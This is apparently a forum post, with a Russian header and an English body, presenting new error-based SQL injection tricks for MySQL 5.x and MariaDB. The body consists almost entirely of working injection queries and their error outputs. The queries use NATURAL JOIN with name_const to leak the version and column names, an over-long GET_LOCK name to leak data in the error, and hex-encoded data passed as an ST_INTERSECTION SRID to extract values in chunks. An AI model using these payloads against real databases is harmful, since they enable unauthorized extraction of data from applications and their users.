недавние находки о MySQL:
1)
in sql, if we try to select a column that appears in more than one table, we are getting an error.
Код:
SELECT a from (select 1 a)x join (select 2 a)y
Column 'a' in field list is ambiguous
the column name appears in the error.
we can use a simple trick with natural join to make the column name appear in the error, without selecting it directly.
Код:
select * from(select 1 a)a natural join((select 1 a)b join (select 1 a)c)
Column 'a' in from clause is ambiguous
we got the column name although we didnt selected it directly.
since name_const allows us to give an alias, we can use it to get the version.
Код:
select * from(select name_const(version(),1))a natural join((select name_const(version(),1))b join (select name_const(version(),1))c)
Column '5.7.12-log' in from clause is ambiguous
working with all versions of mysql with name_const (5.0.12+).
in version 5.0.27 we can also pull out data using name_const((select column from table limit 1),1).
another trick is getting the column names of a table.
Код:
select * from(select * from book)a natural join((select * from book)b join (select * from book)c)
Column 'BOOK_CODE' in from clause is ambiguous
select * from(select * from book)a natural join((select * from book)b join (select * from book)c using (BOOK_CODE))
Column 'TITLE' in from clause is ambiguous
select * from(select * from book)a natural join((select * from book)b join (select * from book)c using (BOOK_CODE,TITLE))
Column 'PUBLISHER_CODE' in from clause is ambiguous
2)
in mysql 5.7 + MariaDB, when we give GET_LOCK() a name thats too big, we get an error.
Код:
SELECT GET_LOCK("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",0)
Incorrect user-level lock name 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
which can also be easily converted into error based injection.
Код:
SELECT GET_LOCK(concat(version(),repeat(0x1,99)),0)
Incorrect user-level lock name '5.7.12-log'.
and ofc shrink the query.
SELECT GET_LOCK(rpad(version(),99,0),0)
SELECT GET_LOCK(repeat(version(),9),0)
RELEASE_LOCK(), IS_FREE_LOCK(), IS_USED_LOCK() are also working.
in MariaDB the error is a bit different.
Identifier name '10.0.34-MariaDB-1~jessie' is too long
3)
in mysql 5.7, the function ST_INTERSECTION() must recieve 2 identical SRID's.
if not, its producing an error.
Код:
SELECT ST_INTERSECTION(ST_GEOMFROMTEXT('POINT(0 0)'),ST_GEOMFROMTEXT('POINT(0 0)',12345));
Binary geometry function st_intersection given two geometries of different srids: 0 and 12345, which should have been identical.
its only accepting numbers, so we can use the same trick from MariaDB regex error based and "illegal double", using hex(hex()).
we will be getting the data by jumping 8 chars every time.
Код:
SELECT ST_INTERSECTION(ST_GEOMFROMTEXT('POINT(0 0)'),ST_GEOMFROMTEXT('POINT(0 0)',length(hex(hex(@@version)))));
Binary geometry function st_intersection given two geometries of different srids: 0 and 40, which should have been identical.
SELECT ST_INTERSECTION(ST_GEOMFROMTEXT('POINT(0 0)'),ST_GEOMFROMTEXT('POINT(0 0)',substring(hex(hex(@@version)),1,8)));
Binary geometry function st_intersection given two geometries of different srids: 0 and 33353245, which should have been identical.
SELECT ST_INTERSECTION(ST_GEOMFROMTEXT('POINT(0 0)'),ST_GEOMFROMTEXT('POINT(0 0)',substring(hex(hex(@@version)),9,8)));
Binary geometry function st_intersection given two geometries of different srids: 0 and 33373245, which should have been identical.
SELECT ST_INTERSECTION(ST_GEOMFROMTEXT('POINT(0 0)'),ST_GEOMFROMTEXT('POINT(0 0)',substring(hex(hex(@@version)),17,8)));
Binary geometry function st_intersection given two geometries of different srids: 0 and 33313332, which should have been identical.
.......
unhex(unhex(3335324533373245333133323244364336463637)) = 5.7.12-log
Линейный вид
